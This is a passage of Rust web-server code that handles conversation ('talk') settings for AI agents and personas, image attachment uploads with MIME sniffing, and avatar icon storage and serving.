9998 return Err(ApiError::conflict(format!(
9999 "talk {} is {} and takes no more turns",
10000 talk.short(),
10001 talk.status.as_str()
10002 )));
10003 }
10004 if !talk::edit_pending_message(
10005 &mut talk,
10006 &ui.talks,
10007 &body.text,
10008 &body.expected_text,
10009 &body.expected_attachments,
10010 body.message,
10011 )? {
10012 return Err(ApiError::conflict(
10013 "queued message changed; reload it before editing",
10014 ));
10015 }
10016 let claim = match ui.begin_queued_talk_turn(&id)? {
10017 Some(turn_guard) => {
10018 let (cfg, _) = Config::discover(&talk.repo, None)?;
10019 Some((talk.clone(), cfg, id.clone(), turn_guard))
10020 }
10021 None => None,
10022 };
10023 let thinking = ui.is_thinking(&id);
10024 Ok((TalkView::new(talk, thinking, &ui), claim))
10025 }
10026 })
10027 .await?;
10028 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10029 let talks = ui.talks.clone();
10030 #[cfg(not(test))]
10031 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10032 #[cfg(test)]
10033 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10034 }
10035 Ok(Json(view))
10036 })
10037 .await
10038}
10039
10040fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10042 if talk.status.open() {
10043 return Ok(());
10044 }
10045 Err(ApiError::conflict(format!(
10046 "talk {} is {} and takes no more turns",
10047 talk.short(),
10048 talk.status.as_str()
10049 )))
10050}
10051
10052#[derive(Debug, Deserialize)]
10054struct TalkAgent {
10055 agent: String,
10056}
10057
10058async fn talk_agent(
10063 State(ui): State<Arc<Ui>>,
10064 Path(id): Path<String>,
10065 Json(body): Json<TalkAgent>,
10066) -> ApiResult<Json<TalkView>> {
10067 let admission = ui.begin_admission()?;
10068 admitted(admission, async move {
10069 let id = {
10070 let ui = Arc::clone(&ui);
10071 blocking(move || resolve_talk(&ui.talks, &id)).await?
10072 };
10073 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10074 .await
10075 .map_err(ApiError::from)?;
10076 let repo = {
10077 let ui = Arc::clone(&ui);
10078 let id = id.clone();
10079 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10080 };
10081 let cfg = config_for(&repo).await?;
10082 {
10084 let ui = Arc::clone(&ui);
10085 let id = id.clone();
10086 let cfg = cfg.clone();
10087 let wanted = body.agent.clone();
10088 blocking(move || {
10089 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10090 .map_err(ApiError::bad_request_from)?;
10091 refuse_if_closed(&ui.talks.get(&id)?)
10092 })
10093 .await?;
10094 }
10095 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10096 return Err(ApiError::conflict(
10097 "a talk turn is running; change the agent once it has answered",
10098 ));
10099 };
10100 let switched = {
10101 let ui = Arc::clone(&ui);
10102 let id = id.clone();
10103 let cfg = cfg.clone();
10104 blocking(move || {
10105 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10106 .map_err(ApiError::bad_request_from)?;
10107 let mut talk = ui.talks.get(&id)?;
10108 if !talk.status.open() {
10109 return Err(ApiError::conflict(format!(
10110 "talk {} is {} and takes no more turns",
10111 talk.short(),
10112 talk.status.as_str()
10113 )));
10114 }
10115 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10116 Ok(talk)
10117 })
10118 .await
10119 };
10120 let observed = ui.queued_generation(&id);
10125 let fresh = {
10126 let ui = Arc::clone(&ui);
10127 let id = id.clone();
10128 blocking(move || Ok(ui.talks.get(&id)?)).await
10129 };
10130 let draining = match fresh {
10131 Ok(talk) => {
10132 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10133 }
10134 Err(_) => false,
10135 };
10136 let talk = switched?;
10137 Ok(Json(TalkView::new(talk, draining, &ui)))
10138 })
10139 .await
10140}
10141
10142#[derive(Debug, Deserialize)]
10144struct TalkPersona {
10145 persona: String,
10146}
10147
10148async fn talk_persona(
10152 State(ui): State<Arc<Ui>>,
10153 Path(id): Path<String>,
10154 Json(body): Json<TalkPersona>,
10155) -> ApiResult<Json<TalkView>> {
10156 let admission = ui.begin_admission()?;
10157 admitted(admission, async move {
10158 let id = {
10159 let ui = Arc::clone(&ui);
10160 blocking(move || resolve_talk(&ui.talks, &id)).await?
10161 };
10162 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10163 .await
10164 .map_err(ApiError::from)?;
10165 let repo = {
10166 let ui = Arc::clone(&ui);
10167 let id = id.clone();
10168 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10169 };
10170 let cfg = config_for(&repo).await?;
10171 {
10173 let ui = Arc::clone(&ui);
10174 let id = id.clone();
10175 let cfg = cfg.clone();
10176 let wanted = body.persona.clone();
10177 blocking(move || {
10178 if persona::find(&cfg.talk.personas, &wanted).is_none() {
10179 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10180 }
10181 refuse_if_closed(&ui.talks.get(&id)?)
10182 })
10183 .await?;
10184 }
10185 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10186 return Err(ApiError::conflict(
10187 "a talk turn is running; change the persona once it has answered",
10188 ));
10189 };
10190 let switched = {
10191 let ui = Arc::clone(&ui);
10192 let id = id.clone();
10193 let cfg = cfg.clone();
10194 blocking(move || {
10195 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10196 return Err(ApiError::bad_request(format!(
10197 "unknown persona `{}`",
10198 body.persona
10199 )));
10200 };
10201 let mut talk = ui.talks.get(&id)?;
10202 if !talk.status.open() {
10203 return Err(ApiError::conflict(format!(
10204 "talk {} is {} and takes no more turns",
10205 talk.short(),
10206 talk.status.as_str()
10207 )));
10208 }
10209 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10210 Ok(talk)
10211 })
10212 .await
10213 };
10214 let observed = ui.queued_generation(&id);
10216 let fresh = {
10217 let ui = Arc::clone(&ui);
10218 let id = id.clone();
10219 blocking(move || Ok(ui.talks.get(&id)?)).await
10220 };
10221 let draining = match fresh {
10222 Ok(talk) => {
10223 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10224 }
10225 Err(_) => false,
10226 };
10227 let talk = switched?;
10228 Ok(Json(TalkView::new(talk, draining, &ui)))
10229 })
10230 .await
10231}
10232
10233#[derive(Debug, Deserialize)]
10235struct TalkImplementers {
10236 implementers: u8,
10237}
10238
10239async fn talk_implementers(
10243 State(ui): State<Arc<Ui>>,
10244 Path(id): Path<String>,
10245 Json(body): Json<TalkImplementers>,
10246) -> ApiResult<Json<TalkView>> {
10247 let admission = ui.begin_admission()?;
10248 admitted(admission, async move {
10249 let id = {
10250 let ui = Arc::clone(&ui);
10251 blocking(move || resolve_talk(&ui.talks, &id)).await?
10252 };
10253 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10254 .await
10255 .map_err(ApiError::from)?;
10256 let repo = {
10257 let ui = Arc::clone(&ui);
10258 let id = id.clone();
10259 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10260 };
10261 let cfg = config_for(&repo).await?;
10262 {
10267 let ui = Arc::clone(&ui);
10268 let id = id.clone();
10269 let cfg = cfg.clone();
10270 let wanted = body.implementers;
10271 blocking(move || {
10272 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10273 refuse_if_closed(&ui.talks.get(&id)?)
10274 })
10275 .await?;
10276 }
10277 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10278 return Err(ApiError::conflict(
10279 "a talk turn is running; change the implementers once it has answered",
10280 ));
10281 };
10282 let switched = {
10283 let ui = Arc::clone(&ui);
10284 let id = id.clone();
10285 let cfg = cfg.clone();
10286 blocking(move || {
10287 let chosen = talk::check_implementers(body.implementers, &cfg)
10288 .map_err(ApiError::bad_request)?;
10289 let mut talk = ui.talks.get(&id)?;
10290 if !talk.status.open() {
10291 return Err(ApiError::conflict(format!(
10292 "talk {} is {} and takes no more turns",
10293 talk.short(),
10294 talk.status.as_str()
10295 )));
10296 }
10297 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10298 Ok(talk)
10299 })
10300 .await
10301 };
10302 let observed = ui.queued_generation(&id);
10304 let fresh = {
10305 let ui = Arc::clone(&ui);
10306 let id = id.clone();
10307 blocking(move || Ok(ui.talks.get(&id)?)).await
10308 };
10309 let draining = match fresh {
10310 Ok(talk) => {
10311 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10312 }
10313 Err(_) => false,
10314 };
10315 let talk = switched?;
10316 Ok(Json(TalkView::new(talk, draining, &ui)))
10317 })
10318 .await
10319}
10320
10321async fn talk_close(
10323 State(ui): State<Arc<Ui>>,
10324 Path(id): Path<String>,
10325) -> ApiResult<Json<TalkView>> {
10326 blocking(move || {
10327 let id = resolve_talk(&ui.talks, &id)?;
10328 let mut talk = ui.talks.get(&id)?;
10329 talk::close(&mut talk, &ui.talks)?;
10330 let thinking = ui.is_thinking(&talk.id);
10331 Ok(Json(TalkView::new(talk, thinking, &ui)))
10332 })
10333 .await
10334}
10335
10336async fn talk_reopen(
10338 State(ui): State<Arc<Ui>>,
10339 Path(id): Path<String>,
10340) -> ApiResult<Json<TalkView>> {
10341 blocking(move || {
10342 let id = resolve_talk(&ui.talks, &id)?;
10343 let mut talk = ui.talks.get(&id)?;
10344 talk::reopen(&mut talk, &ui.talks)?;
10345 let thinking = ui.is_thinking(&talk.id);
10346 Ok(Json(TalkView::new(talk, thinking, &ui)))
10347 })
10348 .await
10349}
10350
10351async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10361 blocking(move || {
10362 let id = resolve_talk(&ui.talks, &id)?;
10363 ui.talks.remove(&id)?;
10364 Ok(StatusCode::NO_CONTENT)
10365 })
10366 .await
10367}
10368
10369fn talk_ids(root: &FsPath) -> Vec<String> {
10370 std::fs::read_dir(root)
10371 .into_iter()
10372 .flatten()
10373 .flatten()
10374 .filter_map(|e| {
10375 let path = e.path();
10376 if path.extension().is_some_and(|ext| ext == "json") {
10377 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10378 } else {
10379 None
10380 }
10381 })
10382 .collect()
10383}
10384
10385fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10387 if plain_record_id(id) && store.path_of(id).is_file() {
10388 return Ok(id.to_owned());
10389 }
10390 pick(talk_ids(store.root()), id, "talk")
10391}
10392
10393async fn talk_attachment_post(
10396 State(ui): State<Arc<Ui>>,
10397 Path(id): Path<String>,
10398 headers: HeaderMap,
10399 body: Bytes,
10400) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10401 let mime = validate_attachment(&headers, &body)?;
10402 let name = filename_header(&headers);
10403 let data = body.to_vec();
10404 blocking(move || {
10405 let id = resolve_talk(&ui.talks, &id)?;
10406 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10407 Ok((StatusCode::CREATED, Json(att)))
10408 })
10409 .await
10410}
10411
10412async fn talk_attachment_get(
10415 State(ui): State<Arc<Ui>>,
10416 Path((id, att)): Path<(String, String)>,
10417) -> ApiResult<Response> {
10418 blocking(move || {
10419 let id = resolve_talk(&ui.talks, &id)?;
10420 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10421 return Err(ApiError::not_found(format!(
10422 "talk {id} has no attachment `{att}`"
10423 )));
10424 };
10425 Ok(attachment_response(&meta.mime, data))
10426 })
10427 .await
10428}
10429
10430fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10433 let id = avatar_encode(&p.id);
10434 format!(
10435 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10436 persona_icon::fingerprint(
10437 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10438 )
10439 )
10440}
10441
10442#[derive(Debug, Default, Deserialize)]
10443struct AvatarQuery {
10444 persona: Option<String>,
10445 builtin: Option<String>,
10447}
10448
10449const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10451
10452fn builtin_avatar(id: &str) -> Response {
10453 svg_avatar(persona_icon::builtin_svg(id))
10454}
10455
10456async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10457 raster_or_builtin(
10458 read_icon_file(&avatar_setting_path(&ui.home, None))
10459 .filter(|_| q.builtin.is_none())
10460 .as_deref(),
10461 persona_icon::operator_svg(),
10462 )
10463}
10464
10465fn svg_avatar(svg: &'static str) -> Response {
10466 (
10467 [
10468 (header::CONTENT_TYPE, "image/svg+xml"),
10469 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10470 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10471 (header::CACHE_CONTROL, "no-cache"),
10472 ],
10473 svg,
10474 )
10475 .into_response()
10476}
10477
10478fn avatar_encode(value: &str) -> String {
10479 value
10480 .bytes()
10481 .map(|b| {
10482 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10483 char::from(b).to_string()
10484 } else {
10485 format!("%{b:02X}")
10486 }
10487 })
10488 .collect()
10489}
10490
10491fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10493 let Some(id) = persona else {
10494 return home.join("avatars/operator.data");
10495 };
10496 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10497 let mut path = home.join("avatars/personas");
10498 for chunk in encoded.as_bytes().chunks(100) {
10499 path.push(std::str::from_utf8(chunk).expect("hex"));
10500 }
10501 path.join("icon.data")
10502}
10503
10504fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10505 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10506 Some(value) if value == "builtin" => Some(String::new()),
10507 Some(value) => Some(value),
10508 None => configured.map(str::to_owned),
10509 }
10510}
10511
10512fn operator_icon_url(home: &FsPath) -> String {
10513 format!(
10514 "/avatars/operator.svg?v={}",
10515 persona_icon::fingerprint(
10516 read_icon_file(&avatar_setting_path(home, None))
10517 .as_deref()
10518 .or(Some(persona_icon::operator_svg()))
10519 )
10520 )
10521}
10522
10523fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10524 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10525 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10526 attachment_response(mime, bytes)
10527 }
10528 _ => svg_avatar(builtin),
10529 };
10530 response
10531 .headers_mut()
10532 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10533 response
10534}
10535
10536#[derive(Default, Deserialize)]
10537struct AvatarSettingsQuery {
10538 repo: Option<PathBuf>,
10539 persona: Option<String>,
10540 builtin: Option<String>,
10541 inherit: Option<String>,
10542}
10543
10544fn avatar_settings_specs(
10545 ui: &Ui,
10546 repo: Option<PathBuf>,
10547) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10548 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10549 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10550 .map(|cfg| cfg.talk.personas)
10551 .unwrap_or_default();
10552 Ok((repo, specs))
10553}
10554
10555fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10556 let Ok(entries) = std::fs::read_dir(path) else {
10557 return;
10558 };
10559 for entry in entries.flatten() {
10560 let name = entry.file_name().to_string_lossy().into_owned();
10561 if name == "icon.data" {
10562 let bytes: Option<Vec<u8>> = prefix
10563 .as_bytes()
10564 .chunks(2)
10565 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10566 .collect();
10567 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10568 out.push(id);
10569 }
10570 } else if name.len() <= 100
10571 && !name.is_empty()
10572 && name.bytes().all(|b| b.is_ascii_hexdigit())
10573 && entry.file_type().is_ok_and(|t| t.is_dir())
10574 {
10575 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10576 }
10577 }
10578}
10579
10580async fn avatar_settings_get(
10581 State(ui): State<Arc<Ui>>,
10582 Query(q): Query<AvatarSettingsQuery>,
10583) -> ApiResult<Json<serde_json::Value>> {
10584 blocking(move || {
10585 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10586 let mut catalog = persona::catalog(&specs);
10587 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10588 let mut saved = Vec::new();
10589 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10590 for id in saved {
10591 if !catalog.iter().any(|p| p.id == id) {
10592 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10593 }
10594 }
10595 let personas: Vec<_> = catalog.iter().map(|p| {
10596 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10597 let override_state = match saved.as_deref() {
10598 Some("builtin") => "builtin",
10599 Some(_) => "custom",
10600 None => "inherit",
10601 };
10602 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10603 serde_json::json!({"id":p.id,"name":p.name,
10604 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10605 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10606 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10607 }).collect();
10608 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10609 }).await
10610}
10611
10612async fn settings_persona_avatar(
10613 State(ui): State<Arc<Ui>>,
10614 Query(q): Query<AvatarSettingsQuery>,
10615) -> ApiResult<Response> {
10616 blocking(move || {
10617 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10618 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10619 let found = persona::find(&specs, id);
10620 let icon =
10621 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10622 Ok(raster_or_builtin(
10623 icon.as_deref().filter(|_| q.builtin.is_none()),
10624 persona_icon::builtin_svg(id),
10625 ))
10626 })
10627 .await
10628}
10629
10630fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10631 if q.persona
10632 .as_ref()
10633 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10634 {
10635 return Err(ApiError::bad_request("invalid persona id"));
10636 }
10637 Ok(())
10638}
10639
10640async fn avatar_settings_put(
10641 State(ui): State<Arc<Ui>>,
10642 Query(q): Query<AvatarSettingsQuery>,
10643 Json(upload): Json<MagiIconUpload>,
10644) -> ApiResult<Json<serde_json::Value>> {
10645 blocking(move || {
10646 validate_avatar_target(&q)?;
10647 save_icon_file(
10648 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10649 &upload.icon,
10650 )
10651 .map_err(ApiError::bad_request_from)?;
10652 Ok(Json(serde_json::json!({"saved":true})))
10653 })
10654 .await
10655}
10656
10657async fn avatar_settings_delete(
10658 State(ui): State<Arc<Ui>>,
10659 Query(q): Query<AvatarSettingsQuery>,
10660) -> ApiResult<Json<serde_json::Value>> {
10661 blocking(move || {
10662 validate_avatar_target(&q)?;
10663 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10664 if q.persona.is_some() && q.inherit.is_none() {
10665 atomic_icon_write(&path, "builtin")?;
10666 } else {
10667 match std::fs::remove_file(path) {
10668 Ok(()) => (),
10669 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10670 Err(e) => return Err(anyhow::Error::from(e).into()),
10671 }
10672 }
10673 Ok(Json(serde_json::json!({"saved":true})))
10674 })
10675 .await
10676}
10677
10678fn magi_icon_path(home: &FsPath) -> PathBuf {
10680 home.join("magi-icon.data")
10681}
10682
10683fn read_magi_icon(home: &FsPath) -> Option<String> {
10684 read_icon_file(&magi_icon_path(home))
10685}
10686
10687fn read_icon_file(path: &FsPath) -> Option<String> {
10688 let metadata = std::fs::metadata(path).ok()?;
10689 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10690 return None;
10691 }
10692 let file = std::fs::File::open(path).ok()?;
10693 use std::io::Read;
10694 let mut text = String::new();
10695 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10696 .read_to_string(&mut text)
10697 .ok()?;
10698 if text.len() > persona_icon::ICON_MAX_BYTES {
10699 return None;
10700 }
10701 if text == "builtin" {
10702 return Some(text);
10703 }
10704 validate_uploaded_icon(&text).ok()?;
10705 Some(text)
10706}
10707
10708fn magi_icon_url(home: &FsPath) -> String {
10709 format!(
10710 "/avatars/magi?v={}",
10711 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10712 )
10713}
10714
10715async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10716 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10717}
10718
10719#[derive(Deserialize)]
10720struct MagiIconUpload {
10721 icon: String,
10722}
10723
10724fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10725 save_icon_file(&magi_icon_path(home), icon)
10726}
10727
10728fn validate_uploaded_icon(icon: &str) -> Result<()> {
10729 if !icon.starts_with("data:") {
10730 anyhow::bail!("upload a raster image");
10731 }
10732 let (mime, bytes) = persona_icon::load(icon)?;
10733 if sniffed_mime(&bytes) != Some(mime) {
10734 anyhow::bail!("image content does not match its type");
10735 }
10736 Ok(())
10737}
10738
10739fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10740 validate_uploaded_icon(icon)?;
10741 atomic_icon_write(path, icon)
10742}
10743
10744fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10745 let home = path.parent().expect("icon parent");
10746 std::fs::create_dir_all(home)?;
10747 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10748 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10749 let result = (|| -> Result<()> {
10750 use std::io::Write;
10751 let mut file = std::fs::OpenOptions::new()
10752 .write(true)
10753 .create_new(true)
10754 .open(&temp)?;
10755 file.write_all(icon.as_bytes())?;
10756 file.sync_all()?;
10757 std::fs::rename(&temp, path)?;
10758 Ok(())
10759 })();
10760 let _ = std::fs::remove_file(temp);
10761 result?;
10762 Ok(())
10763}
10764
10765async fn magi_icon_put(
10766 State(ui): State<Arc<Ui>>,
10767 Json(upload): Json<MagiIconUpload>,
10768) -> ApiResult<Json<serde_json::Value>> {
10769 blocking(move || {
10770 if !upload.icon.starts_with("data:") {
10771 return Err(ApiError::bad_request("upload a raster image"));
10772 }
10773 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10774 if sniffed_mime(&bytes) != Some(mime) {
10775 return Err(ApiError::bad_request(
10776 "image content does not match its type",
10777 ));
10778 }
10779 save_magi_icon(&ui.home, &upload.icon)?;
10780 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10781 })
10782 .await
10783}
10784
10785async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10786 blocking(move || {
10787 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10788 Ok(()) => (),
10789 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10790 Err(e) => return Err(anyhow::Error::from(e).into()),
10791 }
10792 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10793 })
10794 .await
10795}
10796
10797async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10798 let icon = (q.builtin.is_none())
10799 .then(|| read_magi_icon(&ui.home))
10800 .flatten();
10801 let mut response = match icon
10802 .as_deref()
10803 .and_then(|icon| persona_icon::load(icon).ok())
10804 {
10805 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10806 attachment_response(mime, bytes)
10807 }
10808 _ => svg_avatar(persona_icon::magi_svg()),
10809 };
10810 response
10811 .headers_mut()
10812 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10813 response
10814}
10815
10816async fn talk_avatar(
10821 State(ui): State<Arc<Ui>>,
10822 Path(id): Path<String>,
10823 Query(q): Query<AvatarQuery>,
10824) -> ApiResult<Response> {
10825 blocking(move || {
10826 let id = resolve_talk(&ui.talks, &id)?;
10827 let talk = ui.talks.get(&id)?;
10828 let wanted = q
10829 .persona
10830 .as_deref()
10831 .map(str::trim)
10832 .filter(|p| !p.is_empty())
10833 .unwrap_or(&talk.persona)
10834 .to_owned();
10835 let specs = match Config::discover(&talk.repo, None) {
10836 Ok((cfg, _)) => cfg.talk.personas,
10837 Err(e) => {
10838 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10839 Vec::new()
10840 }
10841 };
10842 let found = persona::find(&specs, &wanted);
10843 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10845 let icon = effective_persona_icon(
10846 &ui.home,
10847 &wanted,
10848 found.as_ref().and_then(|p| p.icon.as_deref()),
10849 );
10850 if found.is_none() && icon.is_none() {
10851 return Ok(builtin_avatar(persona::DEFAULT_ID));
10852 }
10853 let Some(icon) = icon
10854 .as_deref()
10855 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10856 else {
10857 return Ok(builtin_avatar(&wanted));
10858 };
10859 let Some(found) = found else {
10860 return Ok(raster_or_builtin(
10861 Some(icon),
10862 persona_icon::builtin_svg(&wanted),
10863 ));
10864 };
10865 match persona_icon::load(icon) {
10866 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10867 let mut res = attachment_response(mime, bytes);
10868 res.headers_mut().insert(
10869 header::CACHE_CONTROL,
10870 header::HeaderValue::from_static("no-cache"),
10871 );
10872 Ok(res)
10873 }
10874 Ok((mime, _)) => {
10875 tracing::warn!(
10876 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10877 found.id
10878 );
10879 Ok(builtin_avatar(&found.id))
10880 }
10881 Err(e) => {
10882 tracing::warn!(
10883 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10884 found.id
10885 );
10886 Ok(builtin_avatar(&found.id))
10887 }
10888 }
10889 })
10890 .await
10891}
10892
10893fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10904 if data.len() > ATTACHMENT_MAX_BYTES {
10905 return Err(ApiError::bad_request(format!(
10906 "attachment is {} bytes, over the {} MiB limit",
10907 data.len(),
10908 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10909 ))
10910 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10911 }
10912 if data.is_empty() {
10913 return Err(ApiError::bad_request("attachment is empty"));
10914 }
10915 let declared = declared_mime(headers)?;
10916 match sniffed_mime(data) {
10917 Some(sniffed) if sniffed == declared => Ok(declared),
10918 Some(sniffed) => Err(ApiError::bad_request(format!(
10919 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10920 ))),
10921 None => Err(ApiError::bad_request(
10922 "the file's bytes do not match any accepted image format",
10923 )),
10924 }
10925}
10926
10927fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10931 let raw = headers
10932 .get(header::CONTENT_TYPE)
10933 .and_then(|v| v.to_str().ok())
10934 .unwrap_or("")
10935 .split(';')
10936 .next()
10937 .unwrap_or("")
10938 .trim()
10939 .to_ascii_lowercase();
10940 ATTACHMENT_MIME_WHITELIST
10941 .iter()
10942 .find(|&&m| m == raw)
10943 .copied()
10944 .ok_or_else(|| {
10945 if raw == "image/svg+xml" {
10946 ApiError::bad_request(
10947 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10948 not just a picture",
10949 )
10950 } else if raw.is_empty() {
10951 ApiError::bad_request("Content-Type is required for an attachment upload")
10952 } else {
10953 ApiError::bad_request(format!(
10954 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10955 image/gif or image/webp"
10956 ))
10957 }
10958 })
10959}
10960
10961fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10964 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10965 Some("image/png")
10966 } else if data.starts_with(b"\xff\xd8\xff") {
10967 Some("image/jpeg")
10968 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10969 Some("image/gif")
10970 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10971 Some("image/webp")
10972 } else {
10973 None
10974 }
10975}
10976
10977fn filename_header(headers: &HeaderMap) -> String {
10983 headers
10984 .get(FILENAME_HEADER)
10985 .and_then(|v| v.to_str().ok())
10986 .map(str::trim)
10987 .filter(|s| !s.is_empty())
10988 .unwrap_or("attachment")
10989 .to_owned()
10990}
10991
10992fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10999 let content_type = ATTACHMENT_MIME_WHITELIST
11000 .iter()
11001 .find(|&&m| m == mime)
11002 .copied()
11003 .unwrap_or("application/octet-stream");
11004 (
11005 [
11006 (header::CONTENT_TYPE, content_type),
11007 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11008 ],
11009 body,
11010 )
11011 .into_response()
11012}
11013
11014async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11022 let repo = repo.to_path_buf();
11023 blocking(move || {
11024 let (cfg, _) = Config::discover(&repo, None)?;
11025 Ok(cfg)
11026 })
11027 .await
11028}
11029
11030fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11036 let mut hits = ids
11037 .into_iter()
11038 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11039 match (hits.next(), hits.next()) {
11040 (Some(one), None) => Ok(one),
11041 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11042 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11043 "`{prefix}` matches more than one {what}, including {a} and {b}"
11044 ))),
